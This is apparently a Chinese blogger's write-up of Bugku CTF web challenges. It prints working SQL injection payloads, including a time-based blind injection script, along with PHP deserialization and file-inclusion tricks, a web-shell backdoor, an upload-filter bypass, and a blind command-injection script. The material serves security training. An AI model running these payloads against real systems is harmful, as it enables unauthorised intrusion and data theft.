bugku的ctf比南邮的要稍难一些,有一些题涉及到脚本的编写等

因为有很多基础的题和南邮的题有重复,这里就不再写了

目录:

变量1

打开直接就是php代码,还有一个提示:flag在变量里!


	<?php  
	error_reporting(0);
	include "flag1.php";
	highlight_file(__file__);
	if(isset($_GET['args'])){
	    $args = $_GET['args'];
	    if(!preg_match("/^\w+$/",$args)){
	        die("args error!");
	    }
	    eval("var_dump($$args);");
	}
	?>

要求get传入一个args参数,然后使用正则限制args的值必须都为字母数字或下划线,然后执行var_dump($args)

根据题目提示我们要找到变量,因此我们令args=GLOBALS。此时执行的就是var_dump($GLOBALS)

$GLOBALS 是一个包含了全局变量的数组

得到flag Alt text


头等舱

这个打开后给的提示是:什么都没有

尝试了F12、robots.txt等均没有结果,那就用burp抓一下包吧 Alt text 在repeater中尝试后,发现flag在响应头中


Web4

打开后提示:看看源代码?

查看源码后发现一段js代码,其中一些数据用url编码了


	var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
	var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
	eval(unescape(p1) + unescape('54aa2' + p2));

组合起来的代码是:


	function checkSubmit(){
		var a=document.getElementById("password");
		if("undefined"!=typeof a){
			if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
				return!0;
			alert("Error");
			a.focus();
			return!1
		}
	}
	document.getElementById("levelQuest").onsubmit=checkSubmit;

提交这段字符即可获得flag:

67d709b2b54aa2aa648cf6e87a7114f1


点击一百万次

题目叫做点击一百万次,打开链接后是一个cookie,需要点击这个cookie一百万次才能拿到flag

当然不会是用手点一百万次了,我们F12查看一下,发现一段js代码


	var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
          	var form = $('<form action="" method="post">' +
						'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
						'</form>');
						$('body').append(form);
						form.submit();
          }
        });
    });

可以看到代码里声明了一个名为clicks的变量,于是我们在F12的console中输入

clicks=1000000;

然后再点击一下cookie,得到flag


备份是个好习惯

打开题目看到一串类似MD5的字符串,但长度又太长了

d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

仔细观察发现其实是同一个字符串写了两遍

原本是:d41d8cd98f00b204e9800998ecf8427e Alt text 拿去解密发现是空密码- -

再看看题目,提到了备份,想到可能index.php存在备份文件,于是访问index.php.bak,将它下载下来,代码如下:


	<?php
	include_once "flag.php";
	ini_set("display_errors", 0);
	$str = strstr($_SERVER['REQUEST_URI'], '?');
	$str = substr($str,1);
	$str = str_replace('key','',$str);
	parse_str($str);
	echo md5($key1);

	echo md5($key2);
	if(md5($key1) == md5($key2) && $key1 !== $key2){
	    echo $flag."取得flag";
	}
	?>

这里key1、key2两个参数名输入后会被替换为空,接下来还是考察了php的弱类型,所以传入

kekeyy1=240610708&kekeyy2=QNKCDZO

拿到flag


成绩查询

打开后是一个成绩查询的输入框,输入一个1先试试,显示如下: Alt text 初步推测应该是sql注入,尝试一下order by,发现没法推断出来字段数。。

看返回的数据来推测应该是四个字段(用户名和三科成绩)

于是构造payload:

-1'union select 1,database(),3,4 -- #

-1'union select 1,table_name,3,4 from information_schema.tables where table_schema='skctf_flag'-- #

-1'union select 1,column_name,3,4 from information_schema.columns where table_name='fl4g'-- #

-1'union select 1,skctf_flag,3,4 from fl4g-- #

最后得到flag为:BUGKU{Sql_INJECT0N_4813drd8hz4}


秋名山老司机

打开后是一段话

亲请在2s内计算老司机的车速是多少 1209823862-16479184161312818054+1434379745-1377815789+1291765273-1153897489440105955-323073445+1459409018+1830836907=?;

刷新几次发现这个数字是每2s就更换,几次后界面变成

Give me value post about 854763801+1953715859+8900471455559573731743447851*491231537-2094140956-1470144765+1072736838-296556725+1313160763=?

可以看出来要求计算出这个表达式的值,然后post传参给value

上python脚本吧


	import requests
	from lxml import etree

	url = "http://123.206.87.240:8002/qiumingshan/"
	s = requests.session()
	r = s.get(url)
	r.encoding = 'utf-8'
	data1 = etree.HTML(r.text)
	res1 = data1.xpath("//div/text()")
	d = ''.join(res1)
	data = {
		"value": eval(d[0:-3])
	}
	r2 = s.post(url, data = data)
	r2.encoding = 'utf-8'
	print(r2.text)

跑出flag:Bugku{YOU_DID_IT_BY_SECOND}

这里我踩了一个坑,刚开始写脚本的时候没有使用requests.session(),而是分别使用了requests.get和requests.post,始终得不到flag,后来想两次get和post应该在同一个会话中,修改后就跑出flag了


速度要快

这题一打开就看到:我感觉你得快点!!!

于是用burp抓包看一下 Alt text 看到响应头中有一个flag,值看起来应该是被base64编码了,下面有一句话意思是要post提交一个margin值

先用base64解码一下看看,内容是:跑的还不错,给你flag吧: NTgyMzAw,后面的看来还是个base64编码,再解码得到:582300,看来这串数字就是要post的值

还是上python脚本:


	import requests
	import base64

	url = "http://123.206.87.240:8002/web6/"
	s = requests.session()
	r = s.get(url)
	head = r.headers['flag']
	d = (base64.b64decode(head)).decode() # 解码后得到的是bytes,要转换为string
	margin = base64.b64decode(d.split(':')[1])

	data = {'margin': margin}
	r2 = s.post(url, data = data)
	print(r2.text)

得到flag:KEY{111dd62fcd377076be18a}


cookie欺骗

题目一打开是这样 Alt text 一大串不知道是什么的字符串,注意到url中filename参数的值a2V5cy50eHQ=,base64解码后为keys.txt,于是我们访问一下index.php(aW5kZXgucGhw)

打开index.php什么都没有,这事注意到url中还有一个line参数,修改为1试试,回显一个

error_reporting(0);

推测输入line的值,会返回index.php相应行的代码

上脚本跑出来index.php的代码


	import requests

	for i in range(1,20):
		url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw".format(i)
		r = requests.get(url)
		print(r.text)

	<?php
	error_reporting(0);
	$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
	$line=isset($_GET['line'])?intval($_GET['line']):0;
	if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
		$file_list = array(
		'0' =>'keys.txt',
		'1' =>'index.php',
		);
		
	if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
		$file_list[2]='keys.php';
	}
	if(in_array($file, $file_list)){
	$fa = file($file);
	echo $fa[$line];
	}
	?>

审计后我们可以推测flag是在keys.php,我们只需伪造cookie为margin=margin,然后将get传入的filename改为keys.php的base64值即可拿到flag


never give up

打开题目右键查看源代码,发现注释中有一个1p.html

访问view-source:http://123.206.87.240:8006/test/1p.html

看到一段js代码,其中有些是base64、url编码的,整理后主要是php代码,如下:


	if(!$_GET['id'])
	{
		header('Location: hello.php?id=1');
		exit();
	}
	$id=$_GET['id'];
	$a=$_GET['a'];
	$b=$_GET['b'];
	if(stripos($a,'.'))
	{
		echo 'no no no no no no no';
		return ;
	}
	$data = @file_get_contents($a,'r');
	if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
	{
		require("f4l2a3g.txt");
	}
	else
	{
		print "never never never give up !!!";
	}

直接查看f4l2a3g.txt就可以得到flag


welcome to bugkuctf

打开右键查看源码得到一段php的代码

	$user = $_GET["txt"];  
	$file = $_GET["file"];  
	$pass = $_GET["password"];  
  
	if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
	   echo "hello admin!<br>";  
	   include($file); //hint.php  
	}else{  
	    echo "you are not admin ! ";  
	}  

于是我们传参txt=php://input,然后再post一个welcome to the bugkuctf

得到的回显是hello friend!并不是hello admin!,我们再看源码下来有一个include函数,推测有文件包含漏洞,注释提示hint.php

用burp在之前传参的基础上再加上file=php://filter/convert.base64-encode/resource=hint.php

得到hint.php的源码(得到的是base64,需解码)如下:


	<?php  
  
	class Flag{//flag.php  
	    public $file;  
	    public function __tostring(){  
	        if(isset($this->file)){  
	            echo file_get_contents($this->file); 
				echo "<br>";
			return ("good");
	        }  
	    }  
	}  
	?>  

用同样的方法得到index.php的源码:


	<?php  
	$txt = $_GET["txt"];  
	$file = $_GET["file"];  
	$password = $_GET["password"];  
  
	if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
	    echo "hello friend!<br>";  
	    if(preg_match("/flag/",$file)){ 
			echo "不能现在就给你flag哦";
	        exit();  
	    }else{  
	        include($file);   
	        $password = unserialize($password);  
	        echo $password;  
	    }  
	}else{  
	    echo "you are not the number of bugku ! ";  
	}  
  
	?>  

首先分析一下hint.php,创建了一个Flag类,其中使用了魔术方法__tostring()

__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,调用后会再调用file_get_contents()来读取文件内容(注释提示我们读取flag.php)

而index.php中限制了file参数中不能含有flag,我们再往下看,发现一行

$password = unserialize($password);

看来这里要考察php反序列化,我们注意到这里是把password的值反序列化,并echo $password,那么结合hint.php中Flag类的内容,我们可以尝试构造一个Flag对象让他反序列化后为flag.php,而接下来echo它时就会调用类中的魔术方法,得到flag.php的内容,于是在本地获取一下这个对象序列化后的值

	
	<?php  
	class Flag{//flag.php  
	    public $file;  
	    public function __tostring(){  
	        if(isset($this->file)){  
	            echo file_get_contents($this->file); 
				echo "<br>";
			return ("good");
	        }  
	    }  
	}  
	$a = new Flag();
	$a -> file = 'flag.php';
	$a = serialize($a);
	echo $a;
	?>  

得到:O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

于是传入password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;},并将file参数改为hint.php,得到flag ***

过狗一句话

题目的提示是:送给大家一个过狗一句话:


	<?php
	$poc="a#s#s#e#r#t"; 
	$poc_1=explode("#",$poc);
	$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
	$poc_2($_GET['s']) 
	?>

其中explode()的用法是将字符串打散为数组,第一个参数是规定在哪里分割,第二个是要分割的字符串

这样这个后门的意思就很明显了,传入的s参数的值会被assert执行

因此传入s=print_r(scandir(‘.’)),得到:

Array ( [0] => . [1] => .. [2] => c.php [3] => flag_sm1skla1.txt [4] => index.php [5] => info.php [6] => test3 [7] => zaq.php [8] => zzz.php [9] => zzz1.php )

访问flag_sm1skla1.txt得到flag:BUGKU{bugku_web_009801_a}


Login1

题目的提示是sql约束攻击,点开链接后是一个登录框,还有注册功能

搜索一下关于约束攻击的文章,了解后发现它还叫做长字节截断攻击,即向数据库插入一个超过预设长度的字符后,数据库会截断掉超出的那部分字符

如user限制长度为5,那么传入admin123会被截断为admin

因此本题我们可以注册一个用户名为:admin 1(中间很多空格)的账户,这个账户会被截断为admin,我们使用注册的密码就可以登入admin的账户

得到flag:SKCTF{4Dm1n_HaV3_GreAt_p0w3R}


求getshell

首先打开就是上传,先传一个图片在burp中尝试看看都进行了哪些过滤

尝试几次后发现过滤的是文件扩展名(这里可以写xxx.php5,可以绕过),还有content-type

之后上传php后门时发现还是不行,看了大佬们的writeup讲还要把请求头中content-type使用大小写绕过(???)

之后上传成功,拿到flag


文件包含2

打开后查看源代码,注释里提示有一个upload.php

主页的url为http://123.206.31.85:49166/index.php?file=hello.php,我们将hello.php改为upload.php

看到一个上传页面,要求上传jpg gif png,因为前面有个文件包含漏洞,因此我们可以直接把后门改为jpg格式传上去了

结果我们使用文件包含一句话时,发现它显示了我们的一句话内容:_ @eval($_POST[‘pass’]); _

明显是被过滤了,因此我们改图片内容为以下代码来列出当前目录下的文件

 <script language=php>system("ls")</script>

打开this_is_th3_F14g_154f65sd4g35f4d6f43.txt,得到flag:

SKCTF{uP104D_1nclud3_426fh8_is_Fun}


多次

打开页面显示:There is nothing.

此时地址栏是http://123.206.87.240:9004/1ndex.php?id=1,尝试一下对id进行注入

添加单引号报错,再加上– #正确,但order by时不管怎样都是错误,应该是过滤了一些字符

此处用到一种判断过滤字符的方法:异或注入

^可用来表示异或,^(length(‘union’) != 0)表示若union被过滤页面会返回正确,反之页面返回错误

用此可推测此处过滤掉了union,select,or,and,但这些可以通过双写来绕过,因此构造payload:

id=1' oorrder by 2 -- # (得到字段数为2)

-1' ununionion selselectect 1,database() -- #   (得到数据库名为web1002-1)

id=-1' ununionion selselectect 1,concat(table_name) from infoorrmation_schema.tables where table_schema='web1002-1' -- #    (得到表名为flag1)

id=-1' ununionion selselectect 1,concat(column_name) from infoorrmation_schema.columns where table_name='flag1' -- #     (得到列名为flag1)

id=-1' ununionion selselectect 1,concat(flag1) from flag1 -- #    (得到flag为usOwycTju+FTUUzXosjr)

但这个flag拿去提交时显示不正确,结合题目的提示有两个flag,于是我们再看一下flag表内是否有其他列

id=-1' ununionion selselectect 1,concat(column_name) from infoorrmation_schema.columns where table_name='flag1' limit 1,1 -- #     (发现address列)

读取address列的内容,显示下一关的地址(./Once_More.php)

点开后又是一个sql注入,这个类似于sqli-lab那种,带回显,还可以看到自己输入的sql

order by 得出字段数为2,但是爆库的时候发现union被过滤掉了,而且双写和大小写混淆没法绕过了,于是采用updatexml()来注入

id=1' and updatexml(1,concat(0x3a,database()),1) -- #  (得到库名web1002-2)

id=1' and updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2')),1) -- #  (得到表class和flag2)

id=1' and updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name='flag2')),1) -- #  (得到列flag2和address)

id=1' and updatexml(1,concat(0x3a,(select group_concat(flag2) from flag2)),1) -- #

得到flag:flag{Bugku-sql_6s-2i-4t-bug},最后提交时字母都要小写


INSERT INTO注入

题目提示直接给出了源代码,打开发现直接显示了ip,推测注入点是请求头中的X-Forwarder-For

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

其中一个语句

$ip_arr = explode(',', $ip);

是将ip按逗号分割,相当于过滤了逗号,因此只能尝试基于时间的注入了

这里是用case when … then sleep(5) else 0 end来代替if( , , )

用substr () from 1 to 1来代替substr( , 1, 1)

上python脚本

import requests

url = "http://123.206.87.240:8002/web15/"
char = "abcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_+=-`|\{[}]:;\"'<>,.?/"
payload = "127.0.0.1'and (select case when (ascii(substr((select database()) from {} for 1))={}) then sleep(5) else 0 end)) #"
result = ''
s = requests.session()
flag = 1

for i in range(1,35):
	for n in char:
		header = {
		"X-Forwarded-For": payload.format(i, ord(n))
		}
		r = s.get(url, headers = header)
		time = r.elapsed.total_seconds()
		print(n + '~~' + str(time))
		if (time >= 5 and time < 6):
			result = result + n
			break
		elif (time < 5 and n == '/'):
			flag = 0
	if (flag == 0):
		break;

print(result)

# "127.0.0.1'and (select case when (ascii(substr((select database()) from {} for 1))={}) then sleep(5) else 0 end)) #"
# "127.0.0.1'and (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='web15') from {} for 1))={}) then sleep(5) else 0 end)) #"
# "127.0.0.1'and (select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {} for 1))={}) then sleep(5) else 0 end)) #"
# "127.0.0.1'and (select case when (ascii(substr((select group_concat(flag) from flag) from {} for 1))={}) then sleep(5) else 0 end)) #"

每次用注释里的payload替换上面的payload就可以了,得到flag


Login2

首先打开是一个登录界面,可能是sql注入,到burp中尝试一下,看到返回头tip中有一段base64:

JHNxbD0iU0VMRUNUIHVzZXJuYW1lLHBhc3N3b3JkIEZST00gYWRtaW4gV0hFUkUgdXNlcm5hbWU9JyIuJHVzZXJuYW1lLiInIjsKaWYgKCFlbXB0eSgkcm93KSAmJiAkcm93WydwYXNzd29yZCddPT09bWQ1KCRwYXNzd29yZCkpewp9

拿去解码,得到一段php代码

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

这段代码意思就是sql返回的值等于输入的password的md5值,因此构造

username:1’ union select 1,’c4ca4238a0b923820dcc509a6f75849b’

password:1

(c4ca4238a0b923820dcc509a6f75849b是数字1的md5值)

成功登录后跳到一个叫做“进程监控系统”的界面,看起来像是命令执行

输入一个apache,返回结果如下:

apache 31516 0.0 0.1 11296 1264 ? S 15:27 0:00 sh -c ps -aux | grep Apache
apache 31518 0.0 0.0 6376 676 ? S 15:27 0:00 grep Apache

但之后尝试使用&&、|、;来执行其他命令,但都失败了,看了大佬的分析这样可能有两种情况

一是命令执行了但过滤了回显,二是命令根本没有执行

因此我们用123 | sleep 5来尝试,发现页面延迟返回了,看来是第一种情况

这里本来是可以写一个反弹shell的,但是需要一个公网ip,我没有自己的vps。。于是借鉴了大佬们的另外一种思路,跟盲注原理差不多,用脚本跑出来文件和文件内容

使用的是shell语句:

c=123;a=`ls`;b='a';if [ ${a:0:1} == $b ];then sleep 5;fi

理解大佬的脚本后照着写了一个:

import requests

url = "http://123.206.31.85:49165/index.php"
s = requests.session()
char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~!@#$%^&*()_+=-`|\{[}]:;\"'<>,.?/"
comm = input('请输入命令:')
#payload = "123;a=`{}`;b='{}';if [ ${a:'{}':1} == $b ];then sleep 5;fi"
result = ''
flag = 1
cookie = {
	"PHPSESSID": "0ir8jv3fge7l6781l0uddm6oa0"
}

for i in range(0, 100):
	for j in char:
		data = {
		'c':"123;a=`"+comm+"`;b='"+str(j)+"';if [ ${a:"+str(i)+":1} == $b ];then sleep 5;fi"
		}
		r = s.post(url, data = data, cookies = cookie)
		time = r.elapsed.total_seconds()
		if (time >= 5 and time < 6):
			result = result + str(j)
			break
		elif (time < 5 and j == '/'):
			flag == 0
			break
		print(result + "~~" + str(j) + "~~" + str(time))
	if (flag == 0):
		break

print(result)

首先用ls命令找到flag文件

之后再执行cat该文件的命令,跑出flag:

SKCTF{Uni0n_@nd_c0mM4nD_exEc}

江湖魔头

打开后是一个类似于游戏的界面,通关需要打败一个魔头,界面大概功能是这样:

  1. 打败魔头需要学会如来神掌
  2. 如来神掌要所有属性都满后才能画100000两学会
  3. 练功可以提升一点属性,需要页面延迟5秒
  4. 赚钱每次100两,需要页面延迟5秒
  5. 可各花费10000两来加满每个属性(内功、外功等)

因此我们肯定是要想办法修改自己的金钱数目了,一开始没有头绪,想写个js脚本来自动赚钱。。

但看一下如果弄完也要两个小时左右,而且每次赚钱后的js弹窗无法处理,那么正解肯定不是这样

我们查看页面源代码发现引用的有js的脚本,看一下script.js,是被加密过的,那就解密,解密后代码如下:

function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
    }
    return ""
}

function decode_create(temp) {
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num)
    }
    return result3
}

function ertqwe() {
    var temp_name = "user";
    var temp = getCookie(temp_name);
    temp = decodeURIComponent(temp);
    var mingwen = decode_create(temp);
    var ca = mingwen.split(';');
    var key = "";
    for (i = 0; i < ca.length; i++) {
        if (-1 < ca[i].indexOf("flag")) {
            key = ca[i + 1].split(":")[2]
        }
    }
    key = key.replace('"', "").replace('"', "");
    document.write('<img id="attack-1" src="image/1-1.jpg">');
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-2.jpg"
    }, 1000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-3.jpg"
    }, 2000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-4.jpg"
    }, 3000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/6.png"
    }, 4000);
    setTimeout(function() {
        alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
    }, 5000)
}

我们重点关注一下这几行,发现cookie是被加密的

var temp_name = "user";
var temp = getCookie(temp_name);
temp = decodeURIComponent(temp);
var mingwen = decode_create(temp);

那么我们可以到浏览器控制台中执行

decode_create(decodeURIComponent(getCookie("user")));

得到明文:

O:5:”human”:10:{s:8:”xueliang”;i:576;s:5:”neili”;i:652;s:5:”lidao”;i:77;s:6:”dingli”;i:66;s:7:”waigong”;i:0;s:7:”neigong”;i:0;s:7:”jingyan”;i:0;s:6:”yelian”;i:0;s:5:”money”;i:0;s:4:”flag”;s:1:”0”;}

我们看到cookie中是包含各种属性值和money的值的,因此我们可以把修改过money的cookie再加密回去,然后提交就可以了

我一开始写的脚本是这样的,但是提交过去始终不成功

import base64
import urllib.parse


data = 'O:5:"human":10:{s:8:"xueliang";i:576;s:5:"neili";i:652;s:5:"lidao";i:77;s:6:"dingli";i:66;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:2000000;s:4:"flag";s:1:"0";}'
su = ""
for i in range(0, len(data)):
	num = ord(data[i])
	num = num + ((i % 10) + 2)
	num = num ^ i
	su = su + chr(num)

a = base64.b64encode(bytes(su, encoding = 'utf-8'))
b = urllib.parse.quote(a)
print(b)

到网上看了一位师傅(瑞雪丰年)的wp,按他的说法如果加密为str的话会出错,我也搞不明白为什么。。

照这位师傅的方法,把num写入到二进制文件中再读取出来

import base64
import urllib.parse

data = 'O:5:"human":10:{s:8:"xueliang";i:576;s:5:"neili";i:652;s:5:"lidao";i:77;s:6:"dingli";i:66;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:2000000;s:4:"flag";s:1:"0";}'
with open('C:\\Users\\pc\\Desktop\\a.bin', 'wb') as f:
	for i in range(0, len(data)):
		num = ord(data[i])
		num = num + ((i % 10) + 2)
		num = num ^ i
		f.write(bytes([num]))

d = open('C:\\Users\\pc\\Desktop\\a.bin', 'rb').read()[:]
a = base64.b64encode(d)
b = urllib.parse.quote(a)
print(b)

跑出cookie值,用burp抓包修改cookie,加满属性学会如来神掌后打败魔头,拿到flag

flag{a13d82fe0daf4730eac8f8e0d4c17e72}